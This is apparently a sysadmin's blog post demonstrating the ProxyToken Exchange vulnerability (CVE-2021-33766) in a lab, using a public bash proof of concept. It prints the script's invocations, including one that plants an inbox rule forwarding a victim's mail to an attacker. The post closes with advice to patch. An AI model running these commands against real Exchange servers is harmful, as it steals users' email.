In three of my previous blog posts, we looked at exploiting unpatched/vulnerable Exchange servers with “ProxyLogon”, “ProxyShell” and “ProxyNotShell”. As the exploit lists keep growing, we will look at the “ProxyToken” exploit.
One of my many Exchange 2019 lab servers was running Exchange 2019 CU1-8 and I use different versions to test different things and decided to test the ProxyToken against it to see what it does and the damage it causes. The CVE’s identified in this attack are as follows:
- CVE-2021-33766
KALI LINUX Bash Exploit
I used an exploit from GitHub, the POC was created by “bhdresh” and it shows the server as vulnerable with both options and lastly, it creates an Inbox rule on the mailbox to send all email to the attacker.
The file is created to use with Bash, below is the first command with a fictitious gmail account:
bash ./proxytoken.sh -m check -s <IP of Exchange Server> -t <email of attacker> -v <users email we targeting>
Next, we change the switch and use the next command:
bash ./proxytoken.sh -m newcheck -s <IP of Exchange Server> -t <email of attacker> -v <users email we targeting>
Finally, we run the same command but with the switch “-m inboxrule” that will redirect all email to the attacker:
bash ./proxytoken.sh -m inboxrule -s <IP of Exchange Server> -t <email of attacker> -v <users email we targeting>
You can see that all 3 commands in the POC ran (the first two just validated if the server is vulnerable). Below you can see that running this against a patched Exchange Server shows that it is not vulnerable:
Validating Exchange Server
The command we ran to create an inbox rule was successful. If we head over to our Exchange 2019 Server and we run the command to get the inbox rule for User1, we can see a new rule has been created as shown below:
If we pipe the command and format the list, we can see the description of the rule along with the redirect as shown below:
As you can see, the exploit was successful and now all mail will be sent to the attacker.
Conclusion
As mentioned in all other blog posts, this is why it is so important to patch. Creating the inbox rule will not trigger a problem and all email will flow out the organization for this user or multiple users. If the system is patched, it will immediately let an attacker know the exploit won’t work.
Protect your end users, data is very important to attackers, if someone emails a username and password for a system and includes the details, the attacker does not have to do much but have the ability to login with possibly elevated permissions to that system.
Hope it helps.